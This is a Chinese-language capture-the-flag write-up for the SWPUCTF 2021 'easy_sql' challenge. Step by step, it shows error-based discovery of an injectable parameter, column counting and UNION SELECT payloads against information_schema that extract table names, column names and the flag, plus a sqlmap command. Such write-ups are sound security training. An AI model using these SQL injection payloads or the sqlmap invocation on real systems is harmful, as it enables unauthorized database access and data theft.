Problem: [SWPUCTF 2021 新生赛]easy_sql
[[toc]]
思路
*easy_sql 那么肯定是SQL注入
首先,寻找注入点 查看源代码
挖掘到参数 wllm
接下来,?wllm=1 得到页面内容
对wllm参数测试
?wllm=1%27 - ?wllm=1' 报错
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
存在注入点,且 错误发生在 '1'' LIMIT 0,1
表明多了一个单引号,因此需要闭合。
再次输入 ?wllm=1' --+ 正常输出页面 表明成功闭合
最后,进行常规SQL注入测试。由于页面具有输出字段值,所以采用union联合注入技术。
EXP
?wllm=1' order by 4 --+ 报错
Unknown column '4' in 'order clause'
表明只具有3个字段
?wllm=-1' union select 1,2,3 --+
必须将wllm报错,否则不会输出1,2,3
页面中输出2,3 因此接下来,在2和3进行查询
?wllm=-1' union select 1,version(),database() --+
页面输出版本和当前数据库名称
Your Login name:10.2.29-MariaDB-log
Your Password:test_db
MySQL 5.0以上才具有information_schema元数据库
输出表名
?wllm=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test_db' --+
Your Login name:test_tb,users
Your Password:3
对表test_tb测试
输出字段名
?wllm=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='test_tb' --+
Your Login name:id,flag
Your Password:3
针对表test_tb 的字段flag进行输出
?wllm=-1' union select 1,flag,3 from test_tb --+
Your Login name:NSSCTF{637a496f-1c15-4914-a69d-8a934a0ed297}
Your Password:3
总结
基本SQL注入 纯手工一下 当然也可以使用sqlmap等工具快速完成赛题
sqlmap -u "url" --search -C flag --level 3 --risk 1 --thread 10
--search -D -T -C -C flag查询字段为flag的数据
